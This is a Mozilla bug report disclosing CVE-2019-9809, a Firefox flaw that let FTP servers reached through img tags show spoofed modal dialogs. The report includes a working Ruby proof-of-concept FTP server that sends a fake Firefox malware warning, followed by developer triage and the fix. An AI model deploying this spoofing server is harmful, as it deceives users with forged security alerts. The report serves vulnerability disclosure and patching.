Closed
Bug 1282430
(CVE-2019-9809)
Opened 9 years ago
Closed 6 years ago
cross-domain 'alert-style' modal dialog spoof using ftp even from e.g. img requests in web forums or the like
Categories
(Core Graveyard :: Networking: FTP, defect, P3)
Core Graveyard
Networking: FTP
Tracking
(firefox66 fixed, firefox67 fixed)
RESOLVED
FIXED
mozilla67
People
(Reporter: schattendeatroth, Assigned: Gijs)
References
Details
(Keywords: csectype-spoof, sec-low, Whiteboard: [necko-backlog][adv-main66+])
Attachments
(2 files)
1.34 KB,
application/x-ruby
|
Details | |
1.35 KB,
patch
|
jduell.mcbugs
:
feedback+
|
Details | Diff | Splinter Review |
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/50.0.2661.102 Chrome/50.0.2661.102 Safari/537.36
Steps to reproduce:
tested with (system base): windows, linux
tested with (version): mozilla firefox 43.0.2, 47.0
proof of concept:
1. (browser) open a ftp connection using ftp-link on img-tag or anything: <img src='ftp://username:password@server/test.png'>
2. (browser) send wrong login credentials.
3. (server)
4. (server) break connection by server side and send a fake message.
screenshot: http://fs5.directupload.net/images/160105/u7mlcf54.jpg
test-exploit (ruby):
require 'timeout'
require 'socket'
#---conf---
addr='127.0.0.1' #serverip
port=21 #serverport
$sleeper=0.3 #wait before broke connection
$threads=30 #concurrent connections
$killcom='k1llm3' #kill server by command
$msgbox="ACHTUNG: Diese Website enth\xE4lt Malware!\x0A\x0ASelbst wenn der Besuch dieser Website bisher sicher war,\x0Abesteht nun die Gefahr, dass Sie Ihren Computer mit Malware\x0Ainfizieren\x0A\x0A***Malware ist Schadsoftware, die unter anderem zu\x0AIdentit\xE4tsdiebstahl, finanziellen Verlusten und zum dauerhaften\x0AL\xF6schen von Dateien f\xFChren kann.***\x0A\x0ABITTE VERLASSEN SIE DIESE WEBSITE UMGEHEND!\x0A\x0A*---Ihr Mozilla Firefox-Team"
#----------
$msga="220 Speak friend, and enter\r\n"; $msgb="331 FTP login okay, send password.\r\n"; $server=TCPServer.open(addr, port)
def main(client)
while 1
sleep 0.000001
while client=='x'
sleep 0.000001; client=$server.accept; puts "("+Time.at(Time.now.to_i).to_s+") "+client.peeraddr[3]
end
begin
complete_results=Timeout.timeout(5) do
sleep $sleeper; client.send($msga, 0); linei=0
while line=client.gets
if line==$killcom+"\r\n" or line==$killcom+"\n"
exit
end
sleep 0.000001
client.send($msgb+$msgbox+"\r\n", 0); sleep $sleeper; client.close; client='x'; break
end
end
rescue Timeout::Error
end
end
end
i=1
while i<$threads
Thread.new{main('x')}
i+=1
end
Thread.new{main('x')}.join
Actual results:
screenshot: http://fs5.directupload.net/images/160105/u7mlcf54.jpg
by using this exploit/this way: firefox will not say what kind of error show this message. the user only see a message directly from firefox. attackers can foist this object each where include img-tags or anything like forums, blog-comments, etc...
Expected results:
it's a fine way to spreading trojans and spoofing security messages on friendly websites.
Assignee | ||
Updated•9 years ago
|
Group: firefox-core-security → core-security
Status: UNCONFIRMED → NEW
Component: Untriaged → Networking: FTP
Ever confirmed: true
Product: Firefox → Core
Summary: popup/message spoof (using ftp popup's) → cross-domain 'alert-style' modal dialog spoof using ftp even from e.g. img requests in web forums or the like
Comment 1•9 years ago
|
||
Reproducible in 50 as well.
Hey look, more fodder for ripping FTP out of the tree!
Jason, care to find someone to take a look at this? (:bagder seems a good candidate, seeing as how he's already played with it a bit!)
Flags: needinfo?(jduell.mcbugs)
Whiteboard: [necko-active]
Updated•9 years ago
|
Group: core-security → network-core-security
Comment 3•9 years ago
|
||
I suppose what we should discuss is what the correct behavior would be here, and in the mean time I offer this minimal patch that just removes the server's error message from the popup window and puts a generic fixed string there. I realize that is not what we want in a proper fix.
I also think this is an edge case that we might not want to waste a whole lot of time and efforts on...
Assignee | ||
Comment 4•9 years ago
|
||
Could we just never show alerts for child resources / non-document loads? From a quick look at MDN and FTPChannelChild (keeping in mind I'm not actually familiar with netwerk code or our channel/loadgroup infra in too much detail) it seems like we could check whether we're our load group's defaultloadrequest and just do nothing if we're not? Or check if we're fully same origin with the default load request, or something?
Updated•9 years ago
|
Group: network-core-security
Keywords: csectype-spoof,
sec-low
Comment 5•9 years ago
|
||
Comment on attachment 8765921 [details] [diff] [review]
0001-bug-1282430-do-not-show-FTP-server-message-in-error-.patch
Review of attachment 8765921 [details] [diff] [review]:
-----------------------------------------------------------------
This patch is only e10s, and the bug is reported on non-e10s, so this can't be a complete fix.
I don't want to spend lots of time on a sec-low FTP bug, but my gut says that something like this patch would be good, but for both non/e10s and only for subresources (i.e. not if loadFlags & LOAD_DOCUMENT_URI).
Daniel, if you're interested go ahead and take this bug. If not, stick it in [necko-backlog]
Updated•9 years ago
|
Flags: needinfo?(jduell.mcbugs) → needinfo?(daniel)
Updated•9 years ago
|
Attachment #8765921 -
Flags: feedback+
Comment 6•9 years ago
|
||
Maybe one step towards deprecating FTP slowly would be to stop accepting it for other things than top level pages?
Anyway, as I'm PTO'ing now for a few weeks ahead I'm backlogging it.
Flags: needinfo?(daniel)
Whiteboard: [necko-active] → [necko-backlog]
Comment 8•7 years ago
|
||
Bulk change to priority: https://bugzilla.mozilla.org/show_bug.cgi?id=1399258
Priority: -- → P1
Comment 9•7 years ago
|
||
Bulk change to priority: https://bugzilla.mozilla.org/show_bug.cgi?id=1399258
Priority: P1 → P3
Assignee | ||
Comment 10•6 years ago
|
||
Fixed by bug 1523249.
Assignee: nobody → gijskruitbosch+bugs
Blocks: 1523249
Status: NEW → RESOLVED
Closed: 6 years ago
status-firefox67:
--- → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla67
Assignee | ||
Updated•6 years ago
|
status-firefox66:
--- → fixed
Updated•6 years ago
|
Whiteboard: [necko-backlog] → [necko-backlog][adv-main66+]
Updated•6 years ago
|
Alias: CVE-2019-9809
Updated•1 year ago
|
Product: Core → Core Graveyard
You need to log in
before you can comment on or make changes to this bug.
Description
•